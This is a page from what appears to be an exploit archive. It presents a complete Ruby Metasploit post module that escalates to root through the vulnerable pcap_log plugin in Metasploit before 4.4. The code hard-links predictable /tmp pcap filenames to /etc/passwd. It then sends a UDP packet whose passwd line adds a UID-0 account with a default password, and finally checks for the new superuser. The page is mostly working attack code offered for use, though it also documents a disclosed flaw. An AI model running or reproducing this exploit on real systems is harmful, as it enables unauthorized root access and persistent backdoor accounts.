Metasploit < v4.4 pcap_log Plugin Privilege Escalation Exploit

2012-10-12 15:05:03

# Exploit Title: Metasploit pcap_log plugin privilege escalation exploit
# Date: 16/7/2012 (public) 11/10/2012 (refined, submitted to EDB)
# Exploit Author: 0a29406d9794e4f9b30b3c5d6702c708
# Vendor Homepage: www.metasploit.com
# Software Link:
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
# Version: < 4.4
# Tested on: RHEL5
# CVE : BugtraqID 54472


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

load 'lib/msf/core/post/common.rb'
load 'lib/msf/core/post/file.rb'
load 'lib/msf/core/exploit/local/unix.rb'
load 'lib/msf/core/exploit/local/linux.rb'

class Metasploit3 < Msf::Post
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Common

include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix

def initialize(info={})
super( update_info( info, {
'Name' => 'Metasploit pcap_log Local Privilege Escalation',
'Description' => %q{
Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which,
when used with the default settings,
creates pcap files in /tmp with predictable file names. This
exploits this by hard-linking these
filenames to /etc/passwd, then sending a packet with a priviliged
user entry contained within.
This, and all the other packets, are appended to /etc/passwd.

Successful exploitation results in the creation of a new superuser account.

This module requires manual clean-up - remove
/tmp/msf3-session*pcap files and truncate /etc/passwd.
},
'License' => MSF_LICENSE,
'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
'Platform' => [ 'linux','unix','bsd' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'BID', '54472' ],
[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
[ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
],
'DisclosureDate' => "Jul 16 2012",
'Targets' =>
[
[ 'Linux/Unix Universal', {} ],
],
'DefaultTarget' => 0,
}
))
register_options(
[
Opt::RPORT(2940),
OptString.new("USERNAME", [ true, "Username for the new
superuser", "metasploit" ]),
OptString.new("PASSWORD", [ true, "Password for the new
superuser", "metasploit" ])
], self)
end

def run
print_status "Waiting for victim"
initial_size = cmd_exec("cat /etc/passwd | wc -l")
i = 0
while(true) do
if (i == 0)
# 0a2940: cmd_exec is slow, so send 1 command to do all the links
cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd
/tmp/msf3-session_`date --date=\"\$i seconds\"
+%Y-%m-%d_%H-%M-%S`.pcap ; done")
end
if (cmd_exec("cat /etc/passwd | wc -l") != initial_size)
# PCAP is flowing
pkt = "\n\n" + datastore['USERNAME'] + ":" +
datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root
Account:/tmp:/bin/bash\n\n"
print_status("Sending file contents payload to #{session.session_host}")
udpsock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit'=>self}
})
udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
break
end
sleep(1) # wait a second
i = (i+1) % 60 # increment second counter
end

if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true)
|| echo false").include?("true")
print_good("Success. You should now be able to login or su to the
'" + datastore['USERNAME'] + "' account")
else
print_error("Failed. You should manually verify the '" +
datastore['USERNAME'] + "' user has not been added")
end
# 0a2940: Initially the plan was to have this post module switch
user, upload & execute a new payload
# However beceause the session is not a terminal, su will not
always allow this.
end
end

Fixes

No fixes

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